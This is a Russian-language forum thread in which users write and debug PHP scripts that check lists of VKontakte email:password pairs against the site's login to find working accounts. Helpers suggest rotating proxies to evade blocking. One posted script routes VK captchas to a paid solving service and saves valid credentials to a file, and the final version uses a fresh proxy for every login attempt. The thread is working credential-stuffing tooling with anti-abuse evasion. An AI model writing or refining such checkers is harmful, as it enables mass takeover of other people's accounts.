Уважаемые кодеры! Вот я тут пытался сделать чекер акков вконтакте, но так как у меня мало опыта в php естественно многое не получается. ) Вот скрипт, суть такая. Забиваем акки в textarea, далее Send и скрипт выводит валидные акки. Но в моём скрипте максимум проверяется только один аккаунт, далее пишет: Cannot redeclare curl() Помогите разобраться! PHP: <form method="post" /> <textarea cols=80 rows=18 name="akki-list"> </textarea> <br /> <input type="submit" value=" Send " /> </form> <?php if(isset($_POST['akki-list'])) { foreach(explode("\n",$_POST['akki-list']) as $line) { $pos = strpos($line, ':'); $email = substr($line, 0, $pos); $pos2 = strpos($line, ':'); $pass = substr($line, $pos2); $pass = @ereg_replace(":", "", $pass); function curl($url,$post) { $cfile = 'cheker-cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); $proxy="ip:port"; curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $result = curl('http://vkontakte.ru/',''); if(strstr($result,'<title>В Контакте | Добро пожаловать</title>')) { $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); } if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz)) echo "$email:$pass - ok<br />"; else echo "$email<br>$pass - bad"; unlink('cheker-cookies.txt'); } } ?>
помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие...
PHP: <form method="post" /> <textarea cols="80" rows="18" name="akki-list"> </textarea> <br /> <input type="submit" value=" Send " /> </form> <?php if(isset($_POST['akki-list'])) { function curl($url,$post) { $cfile = 'cheker-cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); $proxy="ip:port"; curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; foreach(explode("\n",$_POST['akki-list']) as $line) { $pos = strpos($line, ':'); $email = substr($line, 0, $pos); $pos2 = strpos($line, ':'); $pass = substr($line, $pos2); $pass = @ereg_replace(":", "", $pass); $result = curl('http://vkontakte.ru/',''); if(strstr($result,'<title>В Контакте | Добро пожаловать</title>')) { $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); } if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz)) echo "$email:$pass - ok<br />"; else echo "$email:$pass - bad<br />"; unlink('cheker-cookies.txt'); } } ?> Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты... Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?
Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать... А я почти сутки сижу и в надежде на совет Ну слава богу хоть ты мне кое что посоветовал... Ротация прокси это имеется ввиду их смена? А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю. Это curl_setopt($ch, CURLOPT_TIMEOUT, 10); чтоб не ждать по минуте при медленной проксе.
Наверное надо как то так: PHP: <? set_time_limit(0); require_once 'config.ini'; function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 0, $min_len = 0, $max_len = 0) { if (!file_exists($filename)) { if ($is_verbose) echo "file $filename not found\n"; return false; } $postdata = array( 'method' => 'post', 'key' => $apikey, 'file' => '@'.$filename, //полный путь к файлу 'phrase' => $is_phrase, 'regsense' => $is_regsense, 'numeric' => $is_numeric, 'min_len' => $min_len, 'max_len' => $max_len, ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://www.antigate.com/in.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $result = curl_exec($ch); if (curl_errno($ch)) { if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n"; return false; } curl_close($ch); if (strpos($result, "ERROR")!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } else { $ex = explode("|", $result); $captcha_id = $ex[1]; if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n"; $waittime = 0; if ($is_verbose) echo "waiting for $rtimeout seconds\n"; sleep($rtimeout); while(true) { $result = file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id); if (strpos($result, 'ERROR')!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } if ($result=="CAPCHA_NOT_READY") { if ($is_verbose) echo "captcha is not ready yet\n"; $waittime += $rtimeout; if ($waittime>$mtimeout) { if ($is_verbose) echo "timelimit ($mtimeout) hit\n"; break; } if ($is_verbose) echo "waiting for $rtimeout seconds\n"; sleep($rtimeout); } else { $ex = explode('|', $result); if (trim($ex[0])=='OK') return trim($ex[1]); } } return false; } } function GetList($filename){ if(!file_exists($filename)||filesize($filename)==0)return -1; $handle = fopen($filename,'r'); $source = fread($handle,filesize($filename)); fclose($handle); $source = str_replace(array("\r","\t"),"",$source); $source = explode("\n",$source); return $source; } function ToLog($str) { global $log_handle; fwrite($log_handle,$str); echo $str; flush(); } function Login($login,$password) { $init = curl_init(); curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php'); curl_setopt($init, CURLOPT_POST, 1); curl_setopt($init, CURLOPT_TIMEOUT, 15); curl_setopt($init, CURLOPT_POSTFIELDS, 'op=a_login_attempt'); curl_setopt($init, CURLOPT_RETURNTRANSFER, 1); curl_setopt($init, CURLOPT_HEADER, 1); curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6'); $source = curl_exec($init); curl_close($init); if(strstr($source,'Enter code')){ global $use_AC,$captcha_file; if($use_AC) { preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|', $source, $cid); $img = fopen($captcha_file,"w"); fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]")); fclose($img); $captcha_code=recognize($captcha_file,$AC_key,false); $init = curl_init(); curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php'); curl_setopt($init, CURLOPT_POST, 1); curl_setopt($init, CURLOPT_TIMEOUT, 15); curl_setopt($init, CURLOPT_POSTFIELDS, "op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code"); curl_setopt($init, CURLOPT_RETURNTRANSFER, 1); curl_setopt($init, CURLOPT_HEADER, 1); curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6'); $source = curl_exec($init); curl_close($init); return array('captcha_block',null); } else return array('captcha_block',null); } $init = curl_init(); curl_setopt($init, CURLOPT_URL, 'http://login.vk.com/?act=login'); curl_setopt($init, CURLOPT_POST, 1); curl_setopt($init, CURLOPT_TIMEOUT, 15); curl_setopt($init, CURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk='); curl_setopt($init, CURLOPT_RETURNTRANSFER, 1); curl_setopt($init, CURLOPT_HEADER, 1); curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6'); $source = curl_exec($init); curl_close($init); if(preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|', $source, $rsid)) return array('valid',$rsid[1]); else return array('invalid',null); } $log_handle = fopen($log_file,"a+"); $good_handle = fopen($good_file,"a+"); $bad_handle = fopen($bad_file,"a+"); $accounts = GetList($vk_accs); if($accounts==-1) die("\r\n file accounts not found or clean \r\n"); $val_acc = (count($accounts)-1); for($i=0;$i<=$val_acc;$i++) { if($accounts[$i]=='') continue; list($mail,$pass) = explode($delimeter,$accounts[$i]); $res = Login($mail,$pass); switch($res[0]) { case 'captcha_block': if(!$use_AC){ ToLog("$mail$delimeter$pass [captcha block]\r\n"); } else $i--; break; case 'valid': ToLog("$mail$delimeter$pass [valid!]\r\n"); fwrite($good_handle,"$mail$delimeter$pass\r\n"); break; case 'invalid': ToLog("$mail$delimeter$pass [invalid]\r\n"); fwrite($bad_handle,"$mail$delimeter$pass\r\n"); break; } } fclose($log_handle); fclose($good_handle); fclose($bad_handle); ?>
Вроде чекает норм, для меня для начинающего в области php сойдёт Всем спасибо за помощь! PHP: <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml'> <head> <title>чекер вконтакте</title> <style type='text/css' media='all'> body,html { background:#004243; font-family: verdana; font-size:10px; color:#2D8AB9; } textarea { background:#008A8C; font-family: verdana; font-size:10px; color: #FFFFFF; } #ok { color: #00A437; font-family: Verdana; font-size: 10px; background-color: #111; border-color: #002E3B; cursor:pointer; } </style> </head> <body> <form method="post" /> <textarea cols="100" rows="25" name="akki-list"> </textarea> <br /><br /> <input type="submit" value=" Send " id='ok' /> </form> <form action="http://best.vg/" method="post" /> <input type="submit" value=" © " id='ok' /> </form> <?php set_time_limit(0); $cookies = 'cookies.txt'; if(isset($_POST['akki-list'])) { function curl($url,$post) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6'); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_PROXY, $proxy.':'.$port); //curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); curl_close($ch); return $result; }; foreach(explode("\n",$_POST['akki-list']) as $line) { $pos = strpos($line, ':'); $email = substr($line, 0, $pos); $pos2 = strpos($line, ':'); $pass = substr($line, $pos2); $pass = @ereg_replace(":", "", $pass); $file = file('proxy.txt'); $prox = explode(':', $file[0]); $proxy = $prox['0']; $port = $prox['1']; $newp = str_replace($proxy.':'.$port, '', file_get_contents('proxy.txt')); if($prf = fopen('proxy.txt', 'w+')) { fwrite($prf, $newp); fclose($prf); $result = curl('http://vkontakte.ru/',''); if(strstr($result,'<title>В Контакте | Добро пожаловать</title>')) { $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); } if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz)) echo "<font color=green>$email:$pass - ok - $proxy:$port</font><br />"; else echo "<font color=red>$email:$pass - bad - $proxy:$port</font><br />"; } else {echo 'хз';} } } ?>
а что, непонятно ? нужно раскомментировать расширение curl в php.ini 100500 раз поднимали этот вопрос
ну и соответственно иметь файлик php_curl.dll в \ext ну или где то там...xampp вообще не разу не юзал...
Короче суть такая... Сколько ты аккаунтов хочешь прочекать - столько у тебя должно быть рабочих прокси! На каждый аккаунт берётся по 1й прокси.
ну как бы делал для себя... может и есть косяки, но я в php ещё не очень шарю, если ты шаришь нормально, доведи до ума скрипт и выложи сюда - люди оценят